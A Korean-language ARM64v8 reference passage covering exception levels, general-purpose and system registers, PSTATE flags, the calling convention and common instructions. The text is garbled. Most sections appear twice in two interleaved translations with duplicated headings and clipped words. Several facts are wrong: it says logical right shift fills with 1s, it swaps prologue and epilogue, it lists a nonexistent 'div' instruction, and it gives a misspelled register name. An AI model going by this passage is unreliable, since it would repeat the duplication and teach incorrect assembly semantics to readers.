ARMv8 아키텍처에서 Exception Levels(EL, 예외 레벨)은 실행 환경의 권한 수준과 기능을 정의합니다. EL0부터 EL3까지 네 개의 예외 레벨이 있으며 각 레벨은 다른 목적을 가집니다:
1. **EL0 - 사용자 모드**:
- 가장 권한이 낮은 수준으로, 일반 애플리케이션 코드를 실행하는 데 사용됩니다.
- EL0에서 실행되는 애플리케이션은 서로 및 시스템 소프트웨어와 격리되어 보안성과 안정성을 향상시킵니다.
2. **EL1 - 운영 체제 커널 모드**:
- 대부분의 운영 체제 커널은 이 수준에서 실행됩니다.
- EL1은 EL0보다 더 많은 권한을 가지며 시스템 리소스에 접근할 수 있지만, 시스템 무결성을 보장하기 위해 일부 제한이 있습니다.
3. **EL2 - 하이퍼바이저 모드**:
- 이 수준은 가상화를 위해 사용됩니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리 하드웨어에서 여러 운영 체제(각각 자신의 EL1에서 실행)를 관리할 수 있습니다.
- EL2는 가상화된 환경의 격리 및 제어 기능을 제공합니다.
4. **EL3 - 보안 모니터 모드**:
- 가장 권한이 높은 수준으로, 보안 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
- EL3는 보안 및 비보안 상태 간의 접근을 관리하고 제어할 수 있습니다(예: 보안 부팅, 신뢰할 수 있는 OS 등).
1. **EL0 - User Mode**:
- 가장 권한이 낮은 레벨로 일반 애플리케이션 코드를 실행하는 데 사용됩니다.
- EL0에서 실행되는 애플리케이션은 서로 및 시스템 소프트웨어와 격리되어 보안성과 안정성이 향상됩니다.
2. **EL1 - Operating System Kernel Mode**:
- 대부분의 운영체제 커널이 이 레벨에서 실행됩니다.
- EL1은 EL0보다 더 많은 권한을 가지며 시스템 리소스에 접근할 수 있지만 시스템 무결성을 위해 일부 제한이 있습니다.
3. **EL2 - Hypervisor Mode**:
- 가상화를 위해 사용되는 레벨입니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리 하드웨어에서 여러 운영체제(각각 EL1에서 실행)를 관리할 수 있습니다.
- EL2는 가상화된 환경의 격리 및 제어를 위한 기능을 제공합니다.
4. **EL3 - Secure Monitor Mode**:
- 가장 높은 권한 레벨로 보안 부팅과 신뢰 실행 환경에 자주 사용됩니다.
- EL3은 보안 상태와 비보안 상태 간의 접근을 관리하고 제어할 수 있습니다(예: secure boot, trusted OS 등).
러한 수준의 사용은 사용자 애플리케이션에서 가장 권한이 높은 시스템 소프트웨어에 이르기까지 시스템의 다양한 측면을 구조적이고 안전하게 관리할 수 있는 방법을 제공합니다. ARMv8의 권한 수준 접근 방식은 다양한 시스템 구성 요소를 효과적으로 격리하는 데 도움을 주어 시스템의 보안성과 견고성을 향상시킵니다.
들 레벨을 사용하면 사용자 애플리케이션부터 가장 권한이 높은 시스템 소프트웨어까지 시스템의 다양한 측면을 구조적이고 안전하게 관리할 수 있습니다. ARMv8의 권한 레벨 접근 방식은 서로 다른 시스템 구성 요소를 효과적으로 격리하여 시스템의 보안성과 견고성을 향상시킵니다.
## **레지스터 (ARM64v8)**
## **Registers (ARM64v8)**
ARM64에는 `x0`에서 `x30`까지 레이블이 붙은 **31개의 일반 목적 레지스터**가 있습니다. 각 레지스터는 **64비트**(8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업의 경우, 동일한 레지스터를 32비트 모드에서 `w0`에서 `w30`까지의 이름으로 접근할 수 있습니다.
ARM64에는 `x0`부터 `x30`까지 표시되는 **31개의 범용 레지스터**가 있습니다. 각 레지스터는 **64비트**(8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 연산에서는 동일한 레지스터를 `w0`부터 `w30` 이름으로 32비트 모드로 접근할 수 있습니다.
1. **`x0`**에서 **`x7`** - 일반적으로 스크래치 레지스터 및 서브루틴에 매개변수를 전달하는 데 사용됩니다.
- **`x0`**는 함수의 반환 데이터를 전달합니다.
2. **`x8`** - 리눅스 커널에서 `x8``svc` 명령어의 시스템 호출 번호로 사용됩니다. **macOS에서는 x16이 사용됩니다!**
3. **`x9`**에서 **`x15`** - 더 많은 임시 레지스터로, 종종 지역 변수를 위해 사용됩니다.
4. **`x16`** **`x17`** - **프로시저 내 호출 레지스터**. 즉각적인 값을 위한 임시 레지스터입니다. 간접 함수 호출 및 PLT(프로시저 링크 테이블) 스텁에도 사용됩니다.
- **`x16`**은 **macOS**에서 **`svc`** 명령어의 **시스템 호출 번호**로 사용됩니다.
5. **`x18`** - **플랫폼 레지스터**. 일반 목적 레지스터로 사용될 수 있지만, 일부 플랫폼에서는 이 레지스터가 플랫폼 특정 용도로 예약되어 있습니다: Windows의 현재 스레드 환경 블록에 대한 포인터 또는 리눅스 커널의 현재 **실행 중인 작업 구조**를 가리킵니다.
6. **`x19`**에서 **`x28`** - 이들은 호출자 저장 레지스터입니다. 함수는 호출자를 위해 이러한 레지스터의 값을 보존해야 하므로, 스택에 저장되고 호출자에게 돌아가기 전에 복구됩니다.
7. **`x29`** - 스택 프레임을 추적하기 위한 **프레임 포인터**입니다. 함수가 호출되어 새로운 스택 프레임이 생성되면, **`x29`** 레지스터는 **스택에 저장**되고 **새로운** 프레임 포인터 주소(**`sp`** 주소)가 **이 레지스터에 저장**됩니다.
- 이 레지스터는 일반 목적 레지스터로도 사용될 수 있지만, 일반적으로 **지역 변수**에 대한 참조로 사용됩니다.
8. **`x30`** 또는 **`lr`** - **링크 레지스터**입니다. `BL`(링크가 있는 분기) 또는 `BLR`(레지스터로 링크가 있는 분기) 명령어가 실행될 때 **`pc`** 값을 이 레지스터에 저장하여 **반환 주소**를 보유합니다.
- 다른 레지스터처럼 사용 수도 있습니다.
- 현재 함수가 새로운 함수를 호출하고 따라서 `lr`을 덮어쓸 경우, 시작 시 스택에 저장합니다. 이것이 에필로그입니다(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp``lr` 저장, 공간 생성 및 새로운 `fp` 가져오기) 및 끝에서 복구합니다. 이것이 프로롤로그입니다(`ldp x29, x30, [sp], #48; ret` -> `fp``lr` 복구 및 반환).
9. **`sp`** - **스택 포인터**, 스택의 맨 위를 추적하는 데 사용됩니다.
- **`sp`** 값은 항상 최소한 **쿼드워드** **정렬**을 유지해야 하며, 그렇지 않으면 정렬 예외가 발생할 수 있습니다.
10. **`pc`** - **프로그램 카운터**, 다음 명령어를 가리킵니다. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 유일한 일반 명령어는 링크가 있는 분기 명령어(BL, BLR)로, **`pc`** 주소를 **`lr`**(링크 레지스터)에 저장합니다.
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**라고도 불립니다. 제로 값을 쉽게 얻거나(일반적인 작업) **`subs`**를 사용하여 비교를 수행하는 데 사용할 수 있습니다. 예: **`subs XZR, Xn, #10`**은 결과 데이터를 어디에도 저장하지 않습니다( **`xzr`**에).
1. **`x0`** to **`x7`** - 일반적으로 스크래치 레지스터 및 서브루틴으로 전달되는 매개변수로 사용됩니다.
- **`x0`**은 함수의 반환 데이터도 담습니다.
2. **`x8`** - Linux 커널에서는 `svc` 명령어의 시스템 콜 번호로 `x8`을 사용합니다. **macOS에서는 x16이 사용됩니다!**
3. **`x9`** to **`x15`** - 추가 임시 레지스터로, 로컬 변수에 자주 사용됩니다.
4. **`x16`** and **`x17`** - **Intra-procedural Call Registers**. 즉시 값용 임시 레지스터입니다. 간접 함수 호출과 PLT(Procedure Linkage Table) 스텁에도 사용됩니다.
- **`x16`**은 **macOS**에서 **`svc`** 명령어의 **시스템 번호**로 사용됩니다.
5. **`x18`** - **Platform register**. 범용 레지스터로 사용될 수 있지만, 일부 플랫폼에서는 플랫폼 전용 용도로 예약되어 있습니다: Windows에서는 현재 스레드 환경 블록을 가리키거나, Linux 커널에서는 현재 **실행 중인 task 구조체를 가리키는 포인터**로 사용됩니다.
6. **`x19`** to **`x28`** - 이들은 **callee-saved 레지스터**입니다. 함수는 호출자(caller)를 위해 이들 레지스터의 값을 보존해야 하므로 스택에 저장하고 호출자에게 돌아가기 전에 복구합니다.
7. **`x29`** - **프레임 포인터**로 스택 프레임을 추적합니다. 함수 호출로 새 스택 프레임이 생성되면 **`x29`** 레지스터는 **스택에 저장**되고, 새로운 프레임 포인터 주소(즉 **`sp`** 주소)가 이 레지스터에 **저장됩니다**.
- 이 레지스터는 일반적으로 **로컬 변수 참조**로 사용되지만 **범용 레지스터**로도 사용될 수 있습니다.
8. **`x30`** or **`lr`** - **링크 레지스터**. `BL`(Branch with Link) 또는 `BLR`(Branch with Link to Register) 명령이 실행될 때 **복귀 주소**를 보관하기 위해 **`pc`** 값을 이 레지스터에 저장합니다.
- 다른 레지스터처럼 사용 수도 있습니다.
- 현재 함수가 새로운 함수를 호출하`lr`을 덮어쓸 예정이라면, 함수 시작 시 `lr`을 스택에 저장합니다(이것이 에필로그; `stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp``lr` 저장, 공간 생성 및 새 `fp` 설정) 그리고 끝에서 복구합니다(이것이 프롤로그; `ldp x29, x30, [sp], #48; ret` -> `fp``lr`을 복구하고 반환).
9. **`sp`** - **스택 포인터**, 스택의 최상단을 추적하는 데 사용됩니다.
- **`sp`** 값은 항상 최소한 **쿼드워드(quadword)** 정렬을 유지해야 하며, 그렇지 않으면 정렬 예외가 발생할 수 있습니다.
10. **`pc`** - **프로그램 카운터**, 다음 명령을 가리킵니다. 이 레지스터는 예외 발생, 예외 복귀, 분기에 의해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 일반 명령은 `BL`, `BLR`와 같이 `pc` 주소를 `lr`에 저장하는 분기-링크 명령뿐입니다.
11. **`xzr`** - **제로 레지스터**. 32비트 형태에서는 **`wzr`**라고도 합니다. 0 값을 쉽게 얻기 위해 사용되거나 `subs` 같은 연산에서 결과를 어디에도 저장하지 않도록 할 때 유용합니다(예: **`subs XZR, Xn, #10`**).
**`Wn`** 레지스터 **`Xn`** 레지스터의 **32비트** 버전입니다.
**`Wn`** 레지스터들은 **`Xn`** 레지스터의 **32비트** 버전입니다.
### SIMD 및 부동 소수점 레지스터
> [!TIP]
> `X0`부터 `X18`까지의 레지스터는 휘발성(volatile)이며 함수 호출과 인터럽트에 의해 값이 변경될 수 있습니다. 반면 `X19`부터 `X28`까지의 레지스터는 비휘발성(non-volatile)이며 함수 호출 간에 값이 보존되어야 합니다("callee saved").
또한 최적화된 단일 명령어 다중 데이터(SIMD) 작업 및 부동 소수점 산술을 수행하는 데 사용할 수 있는 **128비트 길이의 32개 레지스터**가 있습니다. 이들은 Vn 레지스터라고 불리며, **64**비트, **32**비트, **16**비트 및 **8**비트로도 작동할 수 있으며, 그 경우 **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** 및 **`Bn`**이라고 불립니다.
### SIMD and Floating-Point Registers
### 시스템 레지스터
또한 최적화된 SIMD(single instruction multiple data) 연산과 부동소수점 연산에 사용되는 **128비트 길이의 32개 레지스터**가 있습니다. 이들은 Vn 레지스터라고 불리지만, **64**, **32**, **16**, **8** 비트 단위로도 동작할 수 있으며 그때는 각각 **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`**, **`Bn`**이라고 불립니다.
**수백 개의 시스템 레지스터**가 있으며, 이들은 특수 목적 레지스터(SPR)라고도 하며, **프로세서** 동작을 **모니터링**하고 **제어**하는 데 사용됩니다.\
이들은 전용 특수 명령어 **`mrs`** 및 **`msr`**를 사용하여 읽거나 설정할 수 있습니다.
### System Registers
특수 레지스터 **`TPIDR_EL0`** 및 **`TPIDDR_EL0`**는 리버스 엔지니어링 시 일반적으로 발견됩니다. `EL0` 접미사는 레지스터에 접근할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0는 일반 프로그램이 실행되는 정규 예외(권한) 수준입니다).\
이들은 종종 메모리의 **스레드 로컬 저장소** 영역의 기본 주소를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행되는 프로그램에 대해 읽기 및 쓰기가 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1에서 쓸 수 있습니다(커널처럼).
**수백 개의 시스템 레지스터(특수 목적 레지스터, SPRs)**가 프로세서 동작을 **모니터링**하고 **제어**하는 데 사용됩니다.\
이들은 전용 특수 명령 **`mrs`**와 **`msr`**을 통해서만 읽거나 설정할 수 있습니다.
- `mrs x0, TPIDR_EL0 ; TPIDR_EL0를 x0로 읽기`
- `msr TPIDR_EL0, X0 ; x0를 TPIDR_EL0에 쓰기`
특수 레지스터 **`TPIDR_EL0`**와 **`TPIDDR_EL0`**는 리버싱(리버스 엔지니어링) 시 자주 발견됩니다. `EL0` 접미사는 레지스터에 접근할 수 있는 최소 예외 레벨을 나타냅니다(이 경우 EL0은 일반 프로그램이 실행되는 보통 권한 레벨입니다).\
이 레지스터들은 종종 **스레드 로컬 스토리지(thread-local storage)** 영역의 베이스 주소를 저장하는 데 사용됩니다. 일반적으로 첫 번째는 EL0에서 읽기/쓰기가 가능하지만 두 번째는 EL0에서 읽기만 가능하고 EL1(커널)에서 쓰기가 가능합니다.
- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
### **PSTATE**
**PSTATE**는 운영 체제에서 볼 수 있는 **`SPSR_ELx`** 특수 레지스터에 직렬화된 여러 프로세스 구성 요소를 포함하고 있으며, X는 트리거된 예외의 **권한** **수준**을 나타냅니다(이는 예외가 끝날 때 프로세스 상태를 복구할 수 있게 합니다).\
**PSTATE**는 여러 프로세스 구성 요소를 운영체제에서 볼 수 있는 **`SPSR_ELx`** 특수 레지스터에 직렬화하여 포함합니다. 여기서 X는 트리거된 예외의 **권한 레벨**입니다(예외가 끝날 때 프로세스 상태를 복구할 수 있게 함).\
접근 가능한 필드는 다음과 같습니다:
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
- **`N`**, **`Z`**, **`C`** **`V`** 조건 플래그:
- **`N`**은 연산이 음수 결과를 낳았음을 의미합니다.
- **`Z`**는 연산이 0을 낳았음을 의미합니다.
- **`C`**는 연산이 캐리를 발생시켰음을 의미합니다.
- **`V`**는 연산이 부호 오버플로우를 발생시켰음을 의미합니다:
- 두 개의 양수의 합이 음수 결과를 낳습니다.
- 두 개의 음수의 합이 양수 결과를 낳습니다.
- 뺄셈에서 큰 음수를 작은 양수에서 빼거나 그 반대의 경우, 결과가 주어진 비트 크기 범위 내에서 표현될 수 없습니다.
- 명백히 프로세서는 연산이 부호가 있는지 없는지를 알 수 없으므로, 연산에서 C와 V를 확인하고 부호가 있거나 없을 경우 캐리가 발생했음을 나타냅니다.
- **`N`**, **`Z`**, **`C`**, **`V`** 조건 플래그:
- **`N`**: 연산 결과가 음수였음을 의미
- **`Z`**: 연산 결과가 0이었음을 의미
- **`C`**: 연산에서 캐리가 발생했음을 의미
- **`V`**: 연산이 부호 있는 오버플로를 발생시켰음을 의미:
- 두 양수의 합이 음수 결과를 낼 때.
- 두 음수의 합이 양수 결과를 낼 때.
- 뺄셈에서 큰 음수를 작은 양수에서 빼거나 그 반대의 경우 결과가 해당 비트 크기로 표현할 수 없을 때.
- 프로세서가 연산이 부호 있는지 무부호인지 알 수 없기 때문에, 연산에서 C와 V를 확인하여 캐리 발생 여부를 표시합니다.
> [!WARNING]
> 모든 명령어가 이러한 플래그를 업데이트하는 것은 아닙니다. **`CMP`** 또는 **`TST`**와 같은 일부는 업데이트하며, **`ADDS`**와 같은 s 접미사가 있는 다른 명령어도 업데이트합니다.
> 모든 명령이 이러한 플래그를 갱신하는 것은 아닙니다. **`CMP`**나 **`TST`** 같은 명령은 갱신하고, `s` 접미사가 붙은 **`ADDS`** 같은 명령도 갱신합니다.
- 현재 **레지스터 너비(`nRW`) 플래그**: 플래그가 0 값을 가지면 프로그램이 재개될 때 AArch64 실행 상태에서 실행됩니다.
- 현재 **예외 수준**(**`EL`**): EL0에서 실행되는 일반 프로그램은 값이 0입니다.
- **단일 스텝** 플래그(**`SS`**): 디버거가 예외를 통해 **`SPSR_ELx`** SS 플래그를 1로 설정하여 단일 스텝을 수행하는 데 사용됩니다. 프로그램은 한 스텝을 실행하고 단일 스텝 예외를 발생시킵니다.
- **불법 예외** 상태 플래그(**`IL`**): 권한 있는 소프트웨어가 잘못된 예외 수준 전환을 수행할 때 표시하는 데 사용되며, 이 플래그는 1로 설정되고 프로세서는 불법 상태 예외를 발생시킵니다.
- **`DAIF`** 플래그: 이 플래그는 권한 있는 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있게 합니다.
- **`A`**가 1이면 **비동기 중단**이 발생함을 의미합니다. **`I`**는 외부 하드웨어 **인터럽트 요청**(IRQ)에 응답하도록 구성합니다. F는 **빠른 인터럽트 요청**(FIR)과 관련이 있습니다.
- **스택 포인터 선택** 플래그(**`SPS`**): EL1 이상에서 실행되는 권한 있는 프로그램은 자신의 스택 포인터 레지스터와 사용자 모델 스택 포인터 간에 전환할 수 있습니다(예: `SP_EL1``EL0` 간). 이 전환은 **`SPSel`** 특수 레지스터에 쓰기를 통해 수행됩니다. EL0에서는 수행할 수 없습니다.
- 현재 **레지스터 폭 (`nRW`) 플래그**: 이 플래그가 0이면, 프로그램은 재개되었을 때 AArch64 실행 상태에서 실행됩니다.
- 현재 **Exception Level**(**`EL`**): EL0에서 실행되는 일반 프로그램은 값 0을 가집니다.
- **단일 스텝(single stepping) 플래그**(**`SS`**): 디버거가 예외를 통해 **`SPSR_ELx`**에 SS 플래그를 1로 설정하여 단일 스텝을 수행할 때 사용됩니다. 프로그램은 한 단계 실행한 후 단일 스텝 예외를 발생시킵니다.
- **불법 예외 상태 플래그**(**`IL`**): 특권 소프트웨어가 잘못된 예외 레벨 전이를 수행할 때 표시하는 플래그이며, 이 플래그가 1로 설정되면 프로세서는 불법 상태 예외를 트리거합니다.
- **`DAIF`** 플래그: 이 플래그들은 특권 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있도록 합니다.
- **`A`**가 1이면 **비동기 aborts**가 트리거됩니다. **`I`**는 외부 하드웨어 **Interrupt Requests**(IRQs)에 대한 응답을 구성합니다. **`F`**는 **Fast Interrupt Requests**(FIQs)에 관련됩니다.
- **스택 포인터 선택 플래그**(**`SPS`**): EL1 이상에서 실행되는 권 프로그램은 자신의 스택 포인터 레지스터와 사용자 모델의 스택 포인터(`SP_EL1``EL0` 등) 사이를 전환할 수 있습니다. 이 전환은 **`SPSel`** 특수 레지스터에 작성하여 수행됩니다. 이 작업은 EL0에서는 수행할 수 없습니다.
## **호출 규약 (ARM64v8)**
## **Calling Convention (ARM64v8)**
ARM64 호출 규약은 함수에 대한 **첫 번째 여덟 개 매개변수**가 레지스터 **`x0`**에서 **`x7`**까지 전달된다고 명시합니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 **`x0`**에 전달되며, **128비트 길이**인 경우 **`x1`**에도 전달됩니다. **`x19`**에서 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
ARM64 호출 규약은 함수**첫 여덟 개 매개변수**가 레지스터 **`x0`부터 `x7`**에 전달된다고 규정합니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환값**은 레지스터 **`x0`**에 전달되며, 128비트인 경우 **`x1`**에도 전달될 수 있습니다. **`x19`**부터 **`x30`** 및 **`sp`** 레지스터들은 함수 호출 간에 **보존되어야** 합니다.
어셈블리에서 함수를 읽을 때는 **함수 프로롤로그 및 에필로그**를 찾아야 합니다. **프로롤로그**는 일반적으로 **프레임 포인터(`x29`) 저장**, **새로운 프레임 포인터 설정**, 및 **스택 공간 할당**을 포함합니다. **에필로그**는 일반적으로 **저장된 프레임 포인터 복원** 및 **함수에서 반환**하는 것을 포함합니다.
어셈블리에서 함수를 읽을 때는 **함수의 prologue와 epilogue**를 찾으세요. **prologue**는 보통 **프레임 포인터(`x29`)를 저장**, **새 프레임 포인터 설정**, 그리고 **스택 공간 할당**을 포함합니다. **epilogue**는 보통 **저장된 프레임 포인터를 복원**하고 함수에서 **복귀**하는 작업을 포함합니다.
### Swift의 호출 규약
### Calling Convention in Swift
Swift는 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)에서 찾을 수 있는 자체 **호출 규약**을 가지고 있습니다.
Swift는 자체적인 **calling convention**을 가지고 있으며 이는 다음에서 확인할 수 있습니다: [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
## **일반 명령어 (ARM64v8)**
## **Common Instructions (ARM64v8)**
ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지며, 여기서 **`opcode`**는 수행할 **작업**(예: `add`, `sub`, `mov` 등), **`dst`**는 결과가 저장될 **대상** 레지스터, **`src1`** 및 **`src2`**는 **소스** 레지스터입니다. 즉각적인 값도 소스 레지스터 대신 사용할 수 있습니다.
ARM64 명령은 일반적으로 **`opcode dst, src1, src2`** 형식을 가지며, 여기서 **`opcode`**는 수행할 연산(예: `add`, `sub`, `mov` 등), **`dst`**는 결과가 저장될 목적지 레지스터, **`src1`**과 **`src2`**는 소스 레지스터입니다. 즉시 값(immediate)도 소스 레지스터 대신 사용할 수 있습니다.
- **`mov`**: 한 **레지스터**에서 다른 레지스터로 값을 **이동**합니다.
- 예: `mov x0, x1`이 명령은 `x1`의 값을 `x0`로 이동합니다.
- **`ldr`**: **메모리**에서 **레지스터**로 값을 **로드**합니다.
- 예: `ldr x0, [x1]`이 명령은 `x1`이 가리키는 메모리 위치에서 값을 `x0`로 로드합니다.
- **오프셋 모드**: 원래 포인터에 영향을 미치는 오프셋이 표시됩니다. 예를 들어:
- `ldr x2, [x1, #8]`, 이는 `x1 + 8`에서 값을 `x2` 로드합니다.
- `ldr x2, [x0, x1, lsl #2]`, 이는 배열 `x0`에서 위치 `x1`(인덱스) \* 4에서 객체를 `x2` 로드합니다.
- **사전 인덱스 모드**: 원본에 계산을 적용하고 결과를 얻은 후 새로운 원본을 원본에 저장합니다.
- `ldr x2, [x1, #8]!`, 이는 `x1 + 8``x2`로 로드하고 `x1``x1 + 8`의 결과를 저장합니다.
- `str lr, [sp, #-4]!`, 링크 레지스터를 `sp`에 저장하고 레지스터 `sp`를 업데이트합니다.
- **사후 인덱스 모드**: 이전과 비슷하지만 메모리 주소에 접근한 후 오프셋이 계산되고 저장됩니다.
- `ldr x0, [x1], #8`, `x1``x0`로 로드하고 `x1``x1 + 8`로 업데이트합니다.
- **PC 상대 주소 지정**: 이 경우 로드할 주소는 PC 레지스터에 상대적으로 계산됩니다.
- `ldr x1, =_start`, 이는 `_start` 기호가 시작하는 주소를 현재 PC에 상대적으로 `x1`에 로드합니다.
- **`str`**: **레지스터**에서 **메모리**로 값을 **저장**합니다.
- 예: `str x0, [x1]`이 명령은 `x0`의 값을 `x1`이 가리키는 메모리 위치에 저장합니다.
- **`ldp`**: **레지스터 쌍 로드**. 이 명령은 **연속 메모리** 위치에서 두 레지스터를 **로드**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
- 예: `ldp x0, x1, [x2]`이 명령은 `x2``x2 + 8`의 메모리 위치에서 각각 `x0` `x1`을 로드합니다.
- **`stp`**: **레지스터 쌍 저장**. 이 명령은 **연속 메모리** 위치에 두 레지스터를 **저장**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
- 예: `stp x0, x1, [sp]`이 명령은 `sp``sp + 8`의 메모리 위치에 각각 `x0``x1` 저장합니다.
- `stp x0, x1, [sp, #16]!`이는 `sp+16``sp + 24`의 메모리 위치에 각각 `x0``x1` 저장하고 `sp``sp+16`으로 업데이트합니다.
- **`add`**: 두 레지스터의 값을 더하 결과를 레지스터에 저장합니다.
- 문: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> 대상
- Xn2 -> 피연산자 1
- Xn3 | #imm -> 피연산자 2(레지스터 또는 즉각적인 값)
- \[shift #N | RRX] -> 시프트를 수행하거나 RRX 호출
- 예: `add x0, x1, x2`이는 `x1``x2`의 값을 더하고 결과를 `x0`에 저장합니다.
- `add x5, x5, #1, lsl #12` — 이는 4096과 같습니다(1을 12번 시프트) -> 1 0000 0000 0000 0000
- **`adds`**: 이는 `add`를 수행하고 플래그를 업데이트합니다.
- **`sub`**: 두 레지스터의 값을 빼 결과를 레지스터에 저장합니다.
- **`add`** **구문**을 확인하십시오.
- 예: `sub x0, x1, x2`이는 `x2`의 값을 `x1`에서 빼고 결과를 `x0`에 저장합니다.
- **`subs`**: 이는 빼기와 같지만 플래그를 업데이트합니다.
- **`mul`**: 두 레지스터의 값을 곱하고 결과를 레지스터에 저장합니다.
- 예: `mul x0, x1, x2`이는 `x1``x2`의 값을 곱하고 결과를 `x0`에 저장합니다.
- **`div`**: 한 레지스터의 값을 다른 레지스터로 나누 결과를 레지스터에 저장합니다.
- 예: `div x0, x1, x2`이는 `x1`의 값을 `x2`로 나누고 결과를 `x0`에 저장합니다.
- **`mov`**: 한 **레지스터**에서 다른 **레지스터**로 값을 **이동**합니다.
- 예: `mov x0, x1``x1`의 값을 `x0`로 이동합니다.
- **`ldr`**: **메모리**에서 값을 로드하여 **레지스터**에 저장합니다.
- 예: `ldr x0, [x1]``x1`이 가리키는 메모리 위치에서 값을 읽어 `x0`에 저장합니다.
- **Offset mode**: 원본 포인터에 오프셋을 적용하는 방식 예:
- `ldr x2, [x1, #8]` — x1 + 8 위치의 값을 x2에 로드합니다.
- `ldr x2, [x0, x1, lsl #2]` — 배열 x0에서 인덱스 x1 위치(= x1 * 4)의 객체를 x2에 로드합니다.
- **Pre-indexed mode**: 계산을 적용하고 결과를 원본에 저장합니다.
- `ldr x2, [x1, #8]!``x1 + 8`의 값을 `x2`에 로드하고 `x1``x1 + 8` 저장합니다.
- `str lr, [sp, #-4]!` — 링크 레지스터를 sp에 저장하고 sp를 업데이트합니다.
- **Post-index mode**: 메모리 주소에 먼저 접근한 다음 오프셋을 계산하여 저장합니다.
- `ldr x0, [x1], #8` — x1 위치의 값을 x0에 로드하고 x1`x1 + 8`로 업데이트합니다.
- **PC-relative addressing**: 로드할 주소를 PC 레지스터를 기준으로 계산합니다.
- `ldr x1, =_start` — 현재 PC와 관련하여 `_start` 심볼의 주소를 x1에 로드합니다.
- **`str`**: **레지스터**의 값을 **메모리**에 저장합니다.
- 예: `str x0, [x1]``x0`의 값을 `x1`이 가리키는 메모리 위치에 저장합니다.
- **`ldp`**: **Load Pair of Registers**. 연속된 메모리 위치에서 **두 레지스터를 로드**합니다. 메모리 주소는 보통 다른 레지스터의 값에 오프셋을 더하여 형성됩니다.
- 예: `ldp x0, x1, [x2]``x2``x2 + 8` 위치에서 각각 `x0` `x1`을 로드합니다.
- **`stp`**: **Store Pair of Registers**. 연속된 메모리 위치에 **두 레지스터를 저장**합니다.
- 예: `stp x0, x1, [sp]``x0``x1``sp``sp + 8` 위치에 저장합니다.
- `stp x0, x1, [sp, #16]!``x0``x1``sp+16``sp+24` 위치에 저장하고 `sp``sp+16`으로 업데이트합니다.
- **`add`**: 두 레지스터의 값을 더하 결과를 레지스터에 저장합니다.
- 문: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> 목적지
- Xn2 -> 오퍼랜드 1
- Xn3 | #imm -> 오퍼랜드 2 (레지스터 또는 즉시값)
- \[shift #N | RRX] -> 쉬프트 수행 또는 RRX 호출
- 예: `add x0, x1, x2``x1``x2`의 값을 더하여 `x0`에 저장합니다.
- `add x5, x5, #1, lsl #12` — 이는 4096과 같습니다(1을 12번 왼쪽으로 쉬프트).
- **`adds`**: `add`를 수행하고 플래그를 업데이트합니다.
- **`sub`**: 두 레지스터의 값을 빼 결과를 레지스터에 저장합니다.
- `add` 문법과 유사합니다.
- 예: `sub x0, x1, x2``x1`에서 `x2`를 빼서 결과를 `x0`에 저장합니다.
- **`subs`**: 플래그를 업데이트하는 `sub`와 같습니다.
- **`mul`**: 두 레지스터 값을 곱하여 결과를 레지스터에 저장합니다.
- 예: `mul x0, x1, x2``x1``x2`를 곱하여 `x0`에 저장합니다.
- **`div`**: 한 레지스터의 값을 다른 레지스터로 나누 결과를 레지스터에 저장합니다.
- 예: `div x0, x1, x2``x1``x2`로 나누어 `x0`에 저장합니다.
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
- **논리적 왼쪽 시프트**: 끝에서 0을 추가하여 다른 비트를 앞으로 이동시킵니다(2배 곱하기).
- **논리적 오른쪽 시프트**: 시작 부분에 1을 추가하여 다른 비트를 뒤로 이동시킵니다(부호 없는 경우 2배 나누기).
- **산술적 오른쪽 시프트**: **`lsr`**와 같지만, 가장 중요한 비트가 1인 경우 0 대신 1을 추가합니다(부호 있는 경우 2배 나누기).
- **오른쪽 회전**: **`lsr`**와 같지만 오른쪽에서 제거된 것은 왼쪽에 추가됩니다.
- **확장된 오른쪽 회전**: **`ror`**와 같지만 캐리 플래그가 "가장 중요한 비트"로 사용됩니다. 따라서 캐리 플래그는 비트 31로 이동하고 제거된 비트는 캐리 플래그로 이동합니다.
- **`bfm`**: **비트 필드 이동**, 이 작업은 **값의 `0...n` 비트를 복사하여** **`m..m+n`** 위치에 배치합니다. **`#s`**는 **가장 왼쪽 비트** 위치를 지정하고 **`#r`**은 **오른쪽 회전 양**을 지정합니다.
- 비트 필드 이동: `BFM Xd, Xn, #r`
